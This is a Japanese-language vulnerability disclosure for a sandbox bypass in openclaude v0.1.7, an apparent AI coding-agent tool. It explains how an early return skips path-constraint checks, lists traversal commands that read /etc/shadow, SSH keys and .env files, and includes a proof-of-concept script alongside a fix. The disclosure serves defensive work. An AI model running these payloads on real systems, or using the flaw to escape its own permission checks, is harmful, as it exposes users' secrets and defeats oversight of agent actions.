CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7
すべての脆弱性が高度なエクスプロイトチェーンを必要とするわけではありません。時には、たった1つの場所を間違えた return 文が、セキュリティモデルに大きな穴を開けることもあります。それがまさに CVE-2026-35570 です。
この記事では、openclaude v0.1.7 で発見したサンドボックスバイパスについて解説します。これは、パストラバーサルペイロードがチェックされることなくファイルシステム分離レイヤーをすり抜けてしまうロジック上の欠陥です。
bashPermissions.ts を調査していたとき、制御フローのある部分が目に留まりました。権限ロジックは一見すると妥当に見えました。サンドボックス内であればコマンドを自動許可し、そうでなければユーザーにプロンプトを表示する。十分にクリーンです。
しかし、ひとつの疑問が頭から離れませんでした。パス制約チェックは実際にはどこで実行されるのか?
bashToolHasPermission() を最初から最後まで追跡し、実行パスをマッピングしました:
bashToolHasPermission()
│
├─ [~1445] サンドボックス自動許可ブロック
│ └─ 拒否ルールが見つからない → ALLOW を返す ⚠️ 早期終了
│
└─ [~1644] checkPathConstraints() ❌ 到達しない
サンドボックスブロックは、サンドボックス環境での対話型権限プロンプトをスキップするために作られていました。まったくもって合理的です。問題は、ALLOW を返すと関数がそこで終了してしまうことです。パストラバーサルを実際に検出する役割を担う が実行されることはありません。
checkPathConstraints()bashToolHasPermission() 内で、サンドボックス自動許可ブロックは次のロジックに従います:
この時点で、checkPathConstraints() は完全にバイパスされます。パストラバーサルフィルターは何もする機会を得られません。
攻撃者の視点から見ると、次のようなコマンドがそのまま通過することを意味します:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
これらはすべて behavior: allow で返されます。プロンプトなし。ブロックなし。何もありません。
この欠陥が存在すると、次の3つのことが可能になります:
任意のファイル読み取り。 サンドボックス境界の外にあるものはすべて対象になります — /etc/passwd、/etc/shadow、SSH秘密鍵、.env ファイルなど。OSレベルの権限が許す限り、ファイルを読み取ることができます。
任意のファイル書き込み。 同じロジックが逆方向にも適用されます。攻撃者はサンドボックスの外のパスに書き込むことができ、設定ファイルの上書きや、予期しない場所へのコンテンツ配置の扉を開きます。
サンドボックス分離の完全な失敗。 サンドボックスの存在意義はファイルシステム境界を強制することです。このバグが存在する限り、その保証は無意味になります。
CVSS v3.1: 8.4 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
修正は概念的に単純です。サンドボックス自動許可ブロックは対話型プロンプトを抑制するだけにすべきです。完全な権限パイプラインをショートサーキットしてはいけません。
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// deny または ask の場合のみ早期リターン — allow でパスチェックをスキップしない
return sandboxResult;
}
// allow の場合は、以下の checkPathConstraints にフォールスルー
}
// パストラバーサルチェックは常に実行されなければならない
return checkPathConstraints(input, appState.toolPermissionContext);
ここでの原則は次のとおりです: サンドボックス自動許可はプロンプトをスキップするものであり、セキュリティチェックをスキップするものではない。
| フィールド | 詳細 |
|---|---|
| パッケージ | openclaude |
| 影響を受けるバージョン | v0.1.7 |
| 修正済みバージョン | なし |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (High) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
サンドボックスと自動許可フラグを設定して openclaude を起動します:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
変数名は若干異なる場合があります。ビルドに応じた正確な環境変数のマッピングを確認するには、
SandboxManagerクラスを確認してください。
以下をプロジェクトルートに poc.ts として保存します:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// サンドボックス条件を設定
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// パストラバーサルを含むペイロード
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// 期待値: "deny" — パストラバーサルはブロックされるべき
// 実際: "allow" ← 脆弱性が確認された
次に実行します:
npx ts-node poc.ts
次のように表示されます:
Result: allow
checkPathConstraints() は呼び出されていません。これを自分で確認するには、bashPermissions.ts にログ行を追加します:
// 1644行目付近
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // これは決して出力されない
// ...
}
スクリプトを再度実行します。ログは表示されません — 関数が実際にスキップされていることが確認できます。
サンドボックスセッションで openclaude を開き、次のコマンドを送信します:
cat ../../../../../etc/passwd
権限プロンプトやブロックなしで実行され、/etc/passwd の内容が直接出力されます。
CVE-2026-35570